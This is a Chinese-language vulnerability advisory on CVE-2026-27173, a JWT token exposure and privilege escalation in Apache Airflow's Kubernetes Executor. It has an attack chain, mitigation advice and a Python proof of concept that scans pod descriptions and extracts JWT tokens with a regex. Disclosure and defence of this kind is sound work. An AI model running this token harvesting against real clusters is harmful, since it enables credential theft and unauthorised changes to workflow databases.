IPBUF安全漏洞报告
English
CVE-2026-27173 CVSS 8.7 高危

CVE-2026-27173 Apache Airflow JWT信息泄露与权限提升

披露日期: 2026-05-19

漏洞信息

漏洞编号
CVE-2026-27173
漏洞类型
权限提升
CVSS评分
8.7 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Apache Airflow

相关标签

Apache Airflow权限提升KubernetesJWT泄露CVE-2026-27173

漏洞概述

Apache Airflow 在使用 Kubernetes Executor 时存在严重权限提升漏洞。由于系统配置缺陷,用于 workers 认证的 JWT tokens 错误地暴露给了仅拥有 Kubernetes Pods 只读权限的用户。攻击者可利用泄露的 token 通过 Task SDK 执行特权操作,甚至修改 Airflow 数据库状态,导致系统机密性与完整性受损。

技术细节

该漏洞的核心在于 Kubernetes 环境下的敏感信息隔离失效。在 Apache Airflow 的 Kubernetes Executor 架构中,Worker Pods 需要使用 JWT token 与服务端进行通信认证。根据漏洞描述,这些 tokens 被意外放置在了只读用户可访问的上下文中(如 Pod 环境变量或日志文件)。由于攻击向量为本地(AV:L)且所需权限较低(PR:L),攻击者只需具备 Pod 的读取权限即可获取这些高价值的凭证。一旦截获 JWT,攻击者即可绕过正常的身份验证机制,利用 Task SDK 接口模拟合法任务进程。这不仅打破了“只读”的权限边界,还允许攻击者对 Airflow 数据库执行写入操作(I:H),从而完全控制工作流状态,造成严重的数据泄露或破坏。

攻击链分析

STEP 1
步骤1
攻击者获取Kubernetes集群的有限访问权限,能够读取Pods信息。
STEP 2
步骤2
攻击者枚举Airflow命名空间中的Pods资源。
STEP 3
步骤3
攻击者读取Pod定义或日志,从中提取暴露的JWT Tokens。
STEP 4
步骤4
攻击者使用获取的JWT通过Task SDK进行身份验证。
STEP 5
步骤5
攻击者执行特权操作,修改Airflow数据库状态。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-27173: Apache Airflow JWT Token Exposure This script demonstrates how a user with read-only access to K8s pods might extract sensitive JWT tokens. """ import subprocess import re def get_pods_in_namespace(namespace): # List all pods in the target namespace (requires read access) cmd = f"kubectl get pods -n {namespace} -o json" result = subprocess.run(cmd, shell=True, capture_output=True, text=True) return result.stdout def inspect_pod_for_jwt(namespace, pod_name): # Describe the pod to check environment variables and mounts cmd = f"kubectl describe pod {pod_name} -n {namespace}" result = subprocess.run(cmd, shell=True, capture_output=True, text=True) output = result.stdout # Simple regex to look for JWT patterns (Bearer token) jwt_pattern = r"ey[A-Za-z0-9-_=]+\.[A-Za-z0-9-_=]+\.?[A-Za-z0-9-_.+/=]*" tokens = re.findall(jwt_pattern, output) if tokens: print(f"[+] Found potential JWT in pod {pod_name}:") for token in tokens: print(f"Token: {token[:50]}...") else: print(f"[-] No JWT found in description of {pod_name}") if __name__ == "__main__": target_namespace = "airflow" print(f"[*] Scanning namespace: {target_namespace}") print("[!] Attempting to list pods (requires kubectl configured and read permissions)") # In a real scenario, parse JSON output to get pod names # and loop through them calling inspect_pod_for_jwt print("[!] If pods are accessible, check 'env' and 'volumes' sections for tokens.")

影响范围

Apache Airflow (具体受影响版本请参考官方公告)

防御指南

临时缓解措施
建议立即检查 Kubernetes 集群的 RBAC 配置,撤销非必要用户的 Pods 只读权限。同时,排查 Airflow Worker Pods 的环境变量和持久化卷,确认是否包含明文 JWT,如有发现,应立即轮换这些凭证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表